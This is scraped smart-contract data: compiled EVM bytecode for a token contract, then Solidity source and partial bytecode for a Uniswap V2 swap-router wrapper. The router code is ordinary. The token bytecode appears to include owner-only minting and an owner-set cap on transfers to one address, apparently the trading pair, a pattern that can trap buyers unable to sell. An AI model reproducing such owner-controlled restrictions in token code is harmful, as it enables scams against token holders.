0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb146104f1578063b415564914610555578063dbde5a4314610573578063dd62ed3e146105b7578063f2fde38b1461062f57610121565b8063715018a6146103d45780638766504d146103de5780638da5cb5b1461040c57806395d89b4114610440578063a67c472d146104c357610121565b806323b872dd116100f457806323b872dd1461026f578063313ce567146102f35780633de1e2e3146103145780636d0a2e901461034857806370a082311461037c57610121565b806306fdde0314610126578063095ea7b3146101a957806318160ddd1461020d5780631f9ac9011461022b575b600080fd5b61012e610673565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b610215610733565b6040518082815260200191505060405180910390f35b61026d6004803603602081101561024157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061073d565b005b6102db6004803603606081101561028557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610849565b60405180821515815260200191505060405180910390f35b6102fb610922565b604051808260ff16815260200191505060405180910390f35b61031c610939565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61035061095f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103be6004803603602081101561039257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610985565b6040518082815260200191505060405180910390f35b6103dc6109ce565b005b61040a600480360360208110156103f457600080fd5b8101908080359060200190929190505050610b13565b005b610414610d96565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610448610d9b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048857808201518184015260208101905061046d565b50505050905090810190601f1680156104b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ef600480360360208110156104d957600080fd5b8101908080359060200190929190505050610e3d565b005b61053d6004803603604081101561050757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f19565b60405180821515815260200191505060405180910390f35b61055d610f37565b6040518082815260200191505060405180910390f35b6105b56004803603602081101561058957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3d565b005b610619600480360360408110156105cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611049565b6040518082815260200191505060405180910390f35b6106716004803603602081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d0565b005b606060068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561070b5780601f106106e05761010080835404028352916020019161070b565b820191906000526020600020905b8154815290600101906020018083116106ee57829003601f168201915b5050505050905090565b60006107296107226112db565b84846112e3565b6001905092915050565b6000600554905090565b6107456112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006108568484846114da565b610917846108626112db565b61091285604051806060016040528060288152602001611a9e60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108c86112db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189f9092919063ffffffff16565b6112e3565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109d66112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a96576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b610b1b6112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bdb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610bfb6112db565b73ffffffffffffffffffffffffffffffffffffffff161415610c68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806119e86021913960400191505060405180910390fd5b610c7d8160055461195f90919063ffffffff16565b600581905550610cdc8160016000610c936112db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f90919063ffffffff16565b60016000610ce86112db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d2e6112db565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600090565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e335780601f10610e0857610100808354040283529160200191610e33565b820191906000526020600020905b815481529060010190602001808311610e1657829003601f168201915b5050505050905090565b610e456112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260098190555050565b6000610f2d610f266112db565b84846114da565b6001905092915050565b60095481565b610f456112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611005576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110d86112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611198576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561121e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611a2e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611369576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b0f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611a546022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611a096025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115e6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aec6023913960400191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116915750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156116f15760095481106116f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611a766028913960400191505060405180910390fd5b5b61175d81604051806060016040528060268152602001611ac660269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189f9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f281600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061194c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119115780820151818401526020810190506118f6565b50505050905090810190601f16801561193e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156119dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a2063616e6e6f74207065726d6974207a65726f206164647265737342455032303a207472616e736665722066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212209b687c9ca11673f9639283cef6b245cd0580bb72ad4e580f4e9f32042aae08b664736f6c634300060c0033
[ 38 ]
0xf2EB10b8148Af3a3089C066034E1E660075A6eE2
pragma solidity =0.7.6; import "./IERC20.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol"; contract ExchangeRouter { address public constant factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address private constant UNISWAP_ROUTER_ADDRESS = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; event BeeSwap( address sender, address tokenIn, address tokenOut, uint256 tokenInAmount, uint256 tokenOutAmount, uint256 timeStamp ); function swapV2Router( uint256 amountIn, uint256 amountOut, uint256 deadline, address[] calldata path, uint8 option ) external payable { require(path.length >= 2, "RouterInteraction:: Invalid Path length"); require( path[0] != address(0) || path[path.length - 1] != address(0), "RouterInteraction:: Invalid token address" ); address sender = msg.sender; uint[] memory amounts; if (option == 0) { IERC20(path[0]).transferFrom(sender, address(this), amountIn); IERC20(path[0]).approve(UNISWAP_ROUTER_ADDRESS, amountIn); amounts = IUniswapV2Router02(UNISWAP_ROUTER_ADDRESS).swapExactTokensForTokens( amountIn, amountOut, path, sender, deadline ); } else if (option == 1) { IERC20(path[0]).transferFrom(sender, address(this), amountIn); IERC20(path[0]).approve(UNISWAP_ROUTER_ADDRESS, amountIn); amounts = IUniswapV2Router02(UNISWAP_ROUTER_ADDRESS).swapExactTokensForETH( amountIn, amountOut, path, sender, deadline ); } else if (option == 2) { require(msg.value > 0, 'Invalid Eth amount.'); require(amountIn == msg.value, 'Invalid input amounts.'); amounts = IUniswapV2Router02(UNISWAP_ROUTER_ADDRESS).swapExactETHForTokens{ value: msg.value }( amountOut, path, sender, deadline ); } else { revert('Invalid option.'); } amountOut = amounts[amounts.length-1]; emit BeeSwap(sender, path[0], path[path.length - 1], amountIn, amountOut, block.timestamp); } function getPrice(uint256 amountA, address[] memory path) public view returns (uint256[] memory) { return UniswapV2Library.getAmountsOut(factory, amountA, path); } function getDetails(address _address) public view returns ( string memory, string memory, uint256, uint256 ) { IERC20 erc20 = IERC20(_address); string memory name = erc20.name(); string memory symbol = erc20.symbol(); uint256 totalSupply = erc20.totalSupply(); uint256 decimals = erc20.decimals(); return (name, symbol, totalSupply, decimals); } } pragma solidity >=0.7.6; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function name() external view returns (string memory) ; /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view returns (string memory) ; /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } pragma solidity >=0.5.0; import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol'; import "./SafeMath.sol"; library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } pragma solidity >=0.6.6; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } }
0x60806040526004361061003f5760003560e01c80630c0fa81a1461004457806330289c611461014b578063c45a01551461026a578063c6ad1ddc1461029b575b600080fd5b34801561005057600080fd5b506100fb6004803603604081101561006757600080fd5b8135919081019060408101602082013564010000000081111561008957600080fd5b82018360208201111561009b57600080fd5b803590602001918460208302840111640100000000831117156100bd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610323945050505050565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561013757818101518382015260200161011f565b505050509050019250505060405180910390f35b34801561015757600080fd5b5061017e6004803603602081101561016e57600080fd5b50356001600160a01b031661034d565b604051808060200180602001858152602001848152602001838103835287818151815260200191508051906020019080838360005b838110156101cb5781810151838201526020016101b3565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b50838103825286518152865160209182019188019080838360005b8381101561022b578181015183820152602001610213565b50505050905090810190601f1680156102585780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b34801561027657600080fd5b5061027f61069b565b604080516001600160a01b039092168252519081900360200190f35b610321600480360360a08110156102b157600080fd5b813591602081013591604082013591908101906080810160608201356401000000008111156102df57600080fd5b8201836020820111156102f157600080fd5b8035906020019184602083028401116401000000008311171561031357600080fd5b91935091503560ff166106b3565b005b6060610344735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f8484610f11565b90505b92915050565b60608060008060008590506000816001600160a01b03166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b15801561039357600080fd5b505afa1580156103a7573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156103d057600080fd5b81019080805160405193929190846401000000008211156103f057600080fd5b90830190602082018581111561040557600080fd5b825164010000000081118282018810171561041f57600080fd5b82525081516020918201929091019080838360005b8381101561044c578181015183820152602001610434565b50505050905090810190601f1680156104795780820380516001836020036101000a031916815260200191505b5060405250505090506000826001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b1580156104bd57600080fd5b505afa1580156104d1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156104fa57600080fd5b810190808051604051939291908464010000000082111561051a57600080fd5b90830190602082018581111561052f57600080fd5b825164010000000081118282018810171561054957600080fd5b82525081516020918201929091019080838360005b8381101561057657818101518382015260200161055e565b50505050905090810190601f1680156105a35780820380516001836020036101000a031916815260200191505b5060405250505090506000836001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156105e757600080fd5b505afa1580156105fb573d6000803e3d6000fd5b505050506040513d602081101561061157600080fd5b50516040805163313ce56760e01b815290519192506000916001600160a01b0387169163313ce567916004808301926020929190829003018186803b15801561065957600080fd5b505afa15801561066d573d6000803e3d6000fd5b505050506040513d602081101561068357600080fd5b505193985091965094505060ff169150509193509193565b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b60028210156106f35760405162461bcd60e51b81526004018080602001828103825260278152602001806114cb6027913960400191505060405180910390fd5b6000838382816106ff57fe5b905060200201356001600160a01b03166001600160a01b031614158061074e575060008383600019810181811061073257fe5b905060200201356001600160a01b03166001600160a01b031614155b6107895760405162461bcd60e51b81526004018080602001828103825260298152602001806114f26029913960400191505060405180910390fd5b33606060ff8316610a5f57848460008181106107a157fe5b604080516323b872dd60e01b81526001600160a01b038781166004830152306024830152604482018e9052915160209384029590950135909116936323b872dd9350606480830193928290030181600087803b15801561080057600080fd5b505af1158015610814573d6000803e3d6000fd5b505050506040513d602081101561082a57600080fd5b508590508460008161083857fe5b905060200201356001600160a01b03166001600160a01b031663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d8a6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156108b257600080fd5b505af11580156108c6573d6000803e3d6000fd5b505050506040513d60208110156108dc57600080fd5b50506040516338ed173960e01b815260048101898152602482018990526001600160a01b03841660648301526084820188905260a06044830190815260a48301879052737a250d5630b4cf539739df2c5dacb4c659f2488d926338ed1739928c928c928b928b928a928f92919060c401866020870280828437600081840152601f19601f820116905080830192505050975050505050505050600060405180830381600087803b15801561098f57600080fd5b505af11580156109a3573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156109cc57600080fd5b81019080805160405193929190846401000000008211156109ec57600080fd5b908301906020820185811115610a0157600080fd5b8251866020820283011164010000000082111715610a1e57600080fd5b82525081516020918201928201910280838360005b83811015610a4b578181015183820152602001610a33565b505050509050016040525050509050610e50565b8260ff1660011415610c665784846000818110610a7857fe5b604080516323b872dd60e01b81526001600160a01b03878116600483015230602483